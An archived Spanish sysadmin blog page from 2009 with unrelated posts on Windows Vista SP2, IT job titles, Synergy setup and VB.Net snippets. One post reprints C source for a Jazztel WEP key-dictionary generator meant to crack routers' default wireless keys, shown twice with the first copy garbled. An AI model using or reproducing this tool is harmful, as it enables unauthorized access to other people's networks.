| Subcribe via RSS

Windows Vista Service Pack 2 y de Windows 2008 Server

May 26th, 2009 | Sin comentarios | Escrito en Windows, Windows Vista

Para los aventureros que tienen en sus equipos un Windows Vista, ya tienen la posibilidad de descargar el Service Pack 2 al igual que los sysadmins que han instalado un Windows 2008 Server.

Por ahora solo está en cinco idiomas, entre ellos el nuestro.

El link de descarga pulsando aquí

Requisitos previos

Si tiene instalada alguna versión beta de SP2, debe desinstalarla antes de realizar la instalación

  • En el Panel de control, use el applet “Programas y características” y seleccione “Ver actualizaciones instaladas” en la parte superior izquierda del panel de tareas y, bajo Windows, busque KB94846

Antes de instalar SP2, debe tener instalada una copia original de Windows Server 2008 con SP1 o Windows Vista con SP1 en el equipo

  • Windows Server 2008 lanzada con el código Service Pack 1 incluido
  • SP2 es el primer Service Pack para Windows Server 2008 posterior al lanzamiento

Recomendaciones

Si se utilizó “vLite” para personalizar la instalación de Windows Vista, es posible que haya quitado algunos componentes del sistema necesarios que impiden que se instale Service Pack 2. Consulte KB 968279 para obtener detalles adicionales antes de instalar Service Pack 2.

Las versiones beta de Windows Server 2008 SP2/Windows Vista SP2 son software de tiempo limitado que funcionará hasta el 1 de juniode 2010. Si instaló alguna versión beta de Windows Server 2008 SP2/Windows Vista SP2, se recomienda que la desinstale antes del 1 de junio de2010

Tags:

Ser o no ser informático

May 2nd, 2009 | 6 Comentarios | Escrito en Hardware

Administrador de Sistemas Revisando mis feed`s me encontré con un interesante artículo en el que se describía que somos o como nos debemos dar a conocer, en vez de utilizar y caer en nuestro cariñoso concepto de “informático”.

Realmente no somos informáticos, seremos:

  1. Ingeniero de Sistemas
  2. Administrador de Sistemas
  3. Técnico de Sistemas
  4. Analista de Sistemas
  5. Consultor de Sistemas
  6. Ingeniero de Redes
  7. Técnico de Redes
  8. Técnico de soporte
  9. Técnico de comunicaciones
  10. Operador de incidencias
  11. Analista programador
  12. Desarrollador Web
  13. Ingeniero de Software
  14. Arquitecto de Software
  15. Consultor de Seguridad
  16. Ingeniero de Seguridad
  17. Analista de Seguridad
  18. Auditor de Seguridad
  19. Testeador de Calidad y seguridad

Cuando seamos capaces de presentarnos realmente como lo que somos, la gente nos quitará esa etiqueta de “informáticos” en la que todo nos lleva cinco minuto y tenemos que trabajar por amor al arte o que cualquier persona que es capaz de usar Google, tiene conocimientos básicos sobre Windows y sabe de donde bajar warez se declare así mismo como informático o nos lo presenten como tal.

Tenemos ya que dar un paso adelante y comenzar a dejar las cosas claras de que no somos unos simples pincha placas, ya que un ordenador no se repara por que le cambies piezas sin ton ni son, ni tampoco tenemos que conocer los entresijos de todos los electrodomésticos que hay en un domicilio, ni llegar a la casa de un amiguete o a su bar y ponernos a configurarle el router, el pc y etc.. a cambio de una cerveza.

Estos casos y miles más que seguro que se os vienen a la mente, es lo que desprestigia nuestra profesión y la convierte cada vez más en la de “bombero – torero”, rebaja nuestros sueldos y permite a las empresas a exigir unos contratos por servicios bajísimos.

Mi mentalidad desde hace un tiempo es que si alguien no lo supo hacer y tu sí, eso vale dinero, ya que tus conocimientos te han costado horas, te han costado libros y sobre todo le pusiste las ganas que otros no.

Dejemos ya de arreglarle los problemas a los demás por un simple gracias, ya que la próxima vez será una exigencia, demos un paso más y hagámosle ver a la gente que a día de hoy este es un mundo lleno de bits y que la mayor huelga que podría existir es la nuestra.

Ninguna profesión es más que otra, pero ya está bien de que se nos trate como pincha-placas, no señorito no, la vida ahora te es más cómoda por que alguien como yo te ha creado tus gadget’s, desarrollo ese soft que tanta falta te hace o te ha quitado ese virus del equipo por que eres tan inepto que entras donde no debes, tienes tu e-mail coorporativo en listas de reenvío de hotmail o eres tan petardo que viste un soft que ponía “GanaDinero.exe” o un archivo que se nombraba como “mifotodesnuda.jpg.bat” y lo ejecutaste… Que más da!!! tengo un conocido que es “informático” y le puedo exigir lo que me de la gana que me lo resuelve en 5 minutos.

Pues cuando te lo resuelva en 5 minutos, saca de tu querido bolsillo un billete de 50 €uros, por que te ha ahorrado 1 hora de desplazamiento a la tienda más cercana, los 30-40€ que te iban a cobrar en la tienda más que durante un día como mínimo no ibas a tener un equipo.

Tal vez así la próxima vez que le pidas algo, te lo hará de buen agrado, pero lógicamente como mínimo por otro billete de 50€, tampoco te creas que con pagar una vez llega, la vida tiene unos costes y el conocimiento es el más caro.

Sobre el conocimiento tengo a mi mayor mentor en casa y se lo que cuesta aprender y aprender, pero también se los logros que se consiguen a base del estudio; en este nuestro mundo el que se queda atrás está fuera, no sirve con estudiar una carrera, tener 200 certificaciones y una biblioteca de mil libros, aparte de todo eso hay que estar todos los días buscando nuevos manuales, practicando y extrujando las neuronas al máximo, ya que siempre te puede aparecer alguien diciendo “Pues esto antes no pasaba” … Ni se te ocurra decir.. “Ya claro es que antes no teníais perfiles móviles… Ahora tenemos unas tasas de transferencia de 10GB diarios más… Uno de los discos del raid 5 está corrupto… En una red coorporativa no se debe utilizar el Ares… Mover 14GB por una línea de 300Kbps de subida es una locura”

Cualquiera de estas frases seguro que más de uno las puede trasladar a su día a día y verá como la de su interlocutor es de pasotismo.

Por eso y en respuesta a uno de mis feed’s

Yo soy Administrador de Sistemas y Redes ¿y tú?

Reinstalar Windows XP Acer Aspire One

April 5th, 2009 | 3 Comentarios | Escrito en Hardware, Windows

Windows XPEstos pequeños portátiles suelen venir con linux intregado o con un Windows XP home, pero la manía de los fabricantes de no especificar que teclas hay que pulsar para restaurar o reinstalar el sistema es algo bastante común; al igual que tener que buscar el manual de Servicio Técnico para saber realizarle un Crysis Bios System Recovery.

Lo del Crysis Bios, ya lo expliqué en su momento y recordar que puede ser necesario el hacerlo en caso de cargarle la última BIOS o que escuchemos como si el altavoz del portátil se acoplara.

Para restaurar el sistema operativo tal y como viene de fábrica solo tendremos que reiniciar nuestro equipo y en el momento que aparece el post de la bios pulsaremos ALT + F10, seguimos los pasos que nos manda y tendremos nuestro portátil tal y como salió de la caja sin tener que hacer peculiaridades con pendrives ni nada de eso.

Saludos y a disfrutar de vuestros mini portátiles.

Tags: , , , ,

Desencriptar WIFIS Jazztel

March 29th, 2009 | 5 Comentarios | Escrito en C, Programación, Wireless

Zona WifiDespués del día que me he pegado hoy reconfigurando firewalls, routers, switches y la forma de ver las cosas con más calma, me he encontrado este código que proviene del de nilp0inter.

#include
#include
#include 
 
//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 12
#define MAXINDEX 1
#define VERSION 0
#define SUBVERSION 0 
 
//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
	char bssid[9];
	char init[MAXINDEX][8];
	char notas[30];
} tRouter;
 
//
// Variables globales
//
char hex[16]="0123456789ABCDEF";
 
//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);
 
//
// MAIN !!!
//
int main(int argc, char *argv[])
{
	int bssidId, i;
	int validHex=0;
	char endKey[2];
	tRouter routers[MAXROUTER];
	FILE *fichero;
 
	if(argc<3 || argc>4)
	{
		muestraAyuda();
		return 1;
	}
 
	fprintf(stderr, "njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6n", VERSION, SUBVERSION);
 
	if(strlen(argv[1])!=17)
	{
		fprintf(stderr," [-] Longitud de BSSID invalidan");
		return 1;
	}
 
	initRouters(routers);
	datosRouters(routers);
 
	bssidId=buscaBssid(routers, argv[1]);
 
	if(bssidId==-1)
	{
		fprintf(stderr, " [-] BSSID no encontradon");
		return 1;
	}
	else
	{
		fprintf(stderr, " [+] BSSID: %sn"
				" [+] Modelo: %sn", argv[1], routers[bssidId].notas);
 
		for(i=0;i3) // Fichero
				{
 
					fprintf(stderr," [+] Fichero de claves: %sn", argv[3]);
					fichero=fopen(argv[3], "a+");
					if(fichero!=NULL)
					{
						imprimeClaves(fichero,routers,bssidId,endKey);
						fclose(fichero);
						fprintf(stderr, " [+] Fichero guardadon");
					}
					else
					{
						fprintf(stderr," [-] Error al abrir el ficheron");
						return 1;
					}
				}
				else
				{
					fprintf(stderr," [+] Seleccionada salida estandarn");
					imprimeClaves(stdout,routers,bssidId,endKey);
				}
			}
		}
 
	}
 
	return 0;
}	
 
//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
	int i,j;
	for(j=0;j  [output file]nn");
}
 
//
// Busca el bssid en la estructura y devuelve el identificador o
//  -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
	int i;
 
	for(i=0;i
argv[2][i]=toupper(argv[2][i]);

if(strlen(argv[2]) != 10 || strncmp(”JAZZTEL_”, argv[2], 8) != 0 )
{
fprintf(stderr, ” [-] ESSID: %s invalido!!\n”, argv[2]);
return 1;
}
else
{
for(i=0;i
{
if(argv[2][8]==hex[i])
{
validHex++;
break;
}
}
for(i=0;i
{
if(argv[2][9]==hex[i])
{
validHex++;
break;
}
}

if(validHex!=2)
{
fprintf(stderr, ” [-] ESSID: %s invalido!!\n”, argv[2]);
return 1;
}
else
{
endKey[0]=argv[2][8];
endKey[1]=argv[2][9];

fprintf(stderr,” [+] ESSID: %s\n”, argv[2]);

if(argc>3) // Fichero
{

fprintf(stderr,” [+] Fichero de claves: %s\n”, argv[3]);
fichero=fopen(argv[3], “a+”);
if(fichero!=NULL)
{
imprimeClaves(fichero,routers,bssidId,endKey);
fclose(fichero);
fprintf(stderr, ” [+] Fichero guardado\n”);
}
else
{
fprintf(stderr,” [-] Error al abrir el fichero\n”);
return 1;
}
}
else
{
fprintf(stderr,” [+] Seleccionada salida estandar\n”);
imprimeClaves(stdout,routers,bssidId,endKey);
}
}
}

}

return 0;
}

//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
int i,j;
for(j=0;j
{
strcpy(routers[j].bssid,”");
for(i=0;i<5;i++)
strcpy(routers[j].init[i],”");
strcpy(routers[j].notas,”");
}
}

//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
int i =0;
// Comtrend
strcpy(routers[i].bssid,”00:1A:2B\0″);
strcpy(routers[i].init[0],”E001D20\0″);
strcpy(routers[i].notas,”Comtrend\0″);
i++;
}

//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
fprintf(stderr, “\njazzteldecrypter %i.%i – (c) 2008 nilp0inter2k6\n”, VERSION, SUBVERSION);

fprintf(stderr, ” uso: jazzteldecrypter [output file]\n\n”);
}

//
// Busca el bssid en la estructura y devuelve el identificador o
// -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
int i;

for(i=0;i
bssid[i]=toupper(bssid[i]);

for(i=0;i
{
if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
return i;
}

return -1;
}

//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
int i,j,k,l,index=0;

while(index
{
for(i=0;i<16;i++)
for(j=0;j<16;j++)
for(k=0;k<16;k++)
for(l=0;l<16;l++)
{
fprintf(fichero, “%s%c%c%c%c%c%c\n”,routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
}
index++;
}

}

 

Con esto lo que creamos es un diccionario para encontrar la clave WEP con un mínimo de iv’s (5 en concreto).

Espero que lo disfruteis.

Tags: , , ,

¿Qué teléfono móvil comprar?

March 22nd, 2009 | Sin comentarios | Escrito en BlackBerry, Software

BlackBerry 8310

Hace unos días me preguntaban por el facebook que teléfono comprar.

Desde que he tenido entre mis manos una BlackBerry, no dudo en decirlo; hay móviles y móviles pero cuando tienes una bb entre tus manos se acabaron los teléfonos de pacotilla; cuando pruebas lo verdaderamente bueno solo quieres lo mejor.

Comencé con una BlackBerry Pearl y ahora tengo una BlackBerry 8310.

La primera no estaba nada mal, tenías acceso al mail en todo momento, algo que a día de hoy veo completamente esencial, tiene un menú bastante sencillo y es más rápida de lo que parece aunque de vez encuando se queden colgadas y tengas que apagarlas y volverlas a encender.

La 8310 ya son palabras mayores, ya que tienes wi-fi en ella y eso te permite a día de hoy tener una conectividad de casi el 75% ya que almenos por todos los sitios que me muevo es extraño no encontrar una wifi abierta.

Desde que añadí las siguientes aplicaciones tareas que tengo que realizar diariamente se me han echo más sencillas y me quitan la preocupación de tener que llevar siempre el portátil encima:

  1. MidpSSH cliente SSH para móviles
  2. RDM+ cliente RDP

Con estas dos aplicaciones y unas cositas más la tarea de un sysadmin se acomoda bastante.

Es cierto el iphone tiene hasta un cliente cisco de VPN como bien me comentó David Bello, pero… a donde vas con pedazo de armatroste…

Aparte que te quieres desarrollar una appz para tu bb y tener más cositas pues te descargas el plugin para Visual Studio de aquí y a picar código.

Hay miles de móviles en el mercado pero desde que conoces las BB el mundo de los móviles se reduce, para todo lo demás cabinas telefónicas.

Túneles VPN en VB.Net

March 22nd, 2009 | Sin comentarios | Escrito en Hardware

VPNDesde hace un tiempo estoy desarrollando un soft para gestionar máquinas remotas y algunas de ellas es bajo túneles VPN asi que podeis echarle un vistazo a como abrir y cerrar dichos túneles desde VB:

Option Explicit
Dim si As SHELLEXECUTEINFO
 
Private Sub cmdClose_Click()
    Dim exitCode As Long
    If TerminateProcess(si.hProcess, exitCode) &lt;&gt; 0 Then
        CloseHandle (si.hProcess)
        MsgBox "Tunnel Closed!"
    End If
End Sub
 
Private Sub cmdOpen_Click()
    si.cbSize = Len(si)
    si.fMask = SEE_MASK_NOCLOSEPROCESS
    si.hwnd = frmMain.hwnd
    si.lpVerb = "open"
    si.lpFile = App.Path &amp; "\plink.exe"
    si.lpParameters = "-ssh -l tunnel -pw 123456 -L 3306:127.0.0.1:3306 -batch 127.0.0.1"
    si.lpDirectory = App.Path
    si.nShow = SW_HIDE
 
    If ShellExecuteEx(si) Then
        MsgBox "Tunnel Open!"
    Else
        MsgBox "Opening Failed!"
    End If
End Sub

Mañana seguiré avanzando sobre este tema y a ver si ya puedo sacar una buena Beta del soft con gestión…

Backup bdd MySQL con Visual Basic

March 21st, 2009 | Sin comentarios | Escrito en Hardware

Backup MySQLProbando el nuevo conector de MySQL para VB.Net me he decidido a retocar un código que tenía para realizar backups de bdd’s mysql para algunas appz que tenía por ahí echas.

Os dejo el código para el que le interese:

Dim myProcess As New Process()
        myProcess.StartInfo.FileName = "cmd.exe"
        myProcess.StartInfo.UseShellExecute = False
        myProcess.StartInfo.WorkingDirectory = "c:\"
        myProcess.StartInfo.RedirectStandardInput = True
        myProcess.StartInfo.RedirectStandardOutput = True
        myProcess.Start()
        Me.ProgressBar1.Value = 0
        Dim myStreamWriter As StreamWriter = myProcess.StandardInput
        Dim mystreamreader As StreamReader = myProcess.StandardOutput
        myStreamWriter.WriteLine("C:\appz\Ut\mysqldump.exe", " --host=dominio.es --user=usuario--password=pass bdd -r ""C:\backup1.sql"" ")
        Me.ProgressBar1.Value = 0
        Dim str As String = mystreamreader.ReadToEnd
        MessageBox.Show(str)
        myStreamWriter.Close()
        myProcess.WaitForExit()
        myProcess.Close()
        Me.ProgressBar1.Value = 100

Configurar Synergy en seis pasos

March 21st, 2009 | Sin comentarios | Escrito en Hardware

Para la gente que tiene la suerte de tener dos o tres equipos en casa con dos o tres monitores; pero no puede permitirse el comprar un kvm, tiene la solución de usar Synergy.

Manejarás todos los equipos con un solo teclado, un solo ratón y pasarás de escritorio a escritorio como si estuvieras en un escritorio extendido.

Pongamos el caso de que tenemos dos máquinas y dos monitores. En una de las máquinas tenemos Debian y en la otra máquina tenemos Windows.

  1. En la máquina con linux haremos un apt-get install synergy y en Windows nos descargaremos el .exe desde aquí
  2. Como root en la máquina linux  crearemos o editaremos el archivo synergy.conf localizado en /etc/ (/etc/synergy.conf) Lo editamos con nuestro editor favorito: nano /etc/synergy.conf y lo dejaremos tal que así:

section: screens
debian:
windows:
end

section: aliases
windows:
192.168.1.101
end

section: links
debian:
left = windows
windowspc:
right = debian
end

section: options
screenSaverSync = false
# My KVM uses Scroll Lock to switch screens, so set the
# hotkey to lock the cursor to the screen to something else
keystroke(f12) = lockCursorToScreen(toggle)
end

  1. En el linux hacemos un chmod a+r /etc/synergy.conf
  2. synergys -f -config /etc/synergy.conf  ( Anotar que con synergys ejecutamos el servidor y con synergyc el cliente)
  3. En windows ejecutaremos el cliente synergy y pondremos la IP de nuestro linux
  4. Si todo ha funcionado correctamente volvemos a nuestro linux y ejecutamos synergys -config /etc/sysnergy.conf y en el windows le daremos la opción  de autostart

Funcionando y ahorrandonos unas pelillas

Buscando posters…

March 21st, 2009 | Sin comentarios | Escrito en Personal

Buscando algunos posters, para terminar de decorar mi rincón de la casa, me he encontrado este wallpaper.

Me imagino que más de uno tendría la idea de tener en su mesa más de un monitor, aveces sin saber realmente si le sacarías partido; pero os aseguro que los monitores nunca sobran y cuantos más tienes más quieres.

Para el recuerdo dejo el proyecto que dejé a medias con el señor Marcos Mirás de hacer un soporte para 6 monitores.

Si alguien sabe quien es el autor de la imagen que me lo deje en un comentario, para añadirle los créditos.

La marca que comercializa esos fabulosos soportes para monitores se llama Ergotron

Salu2

MySQL Connector .Net 6.0

March 21st, 2009 | Sin comentarios | Escrito en Programación

Grata sorpresa la que me he llevado hoy tras haber reinstalado mi equipo.

En mi equipo de sobremesa tengo el VB 2005 instalado y siempre que desarrollo algún soft con el, lo hago contra bdd’s de MySQL, así que entre en la web de MySQL para descargarme el conector y veo que ya hemos pasado de la versión 5.2 a la 6.0 en la que como principales mejoras destacan:

  • Significant speedups. In many areas, the connector now matches or surpasses the native C connector.
  • Added UDF schema collection
  • Better SQL and stored procedure tokenizing. Now all comment types are supported
  • Initial Entity Framework support
  • We have also completely rewritten our Visual Studio integration yielding more features in a smaller package. Some of the new features include the following:
  • Use of the traditional SQL Server buttons for keys, indexes, etc.
  • Ability to generate a change script
  • Use of Visual Studio’s code editor which includes window splitting and syntax highlighting

Asi que como hoy me he levantado algo inspirado, vamos a picar algo de código y terminar la appz de Sistemas que estoy desarrollando para la empresa en la que trabajo.

Larga vida para MySQL y para las mañanas de los sábados en las que nos levantamos con ganas de picar código.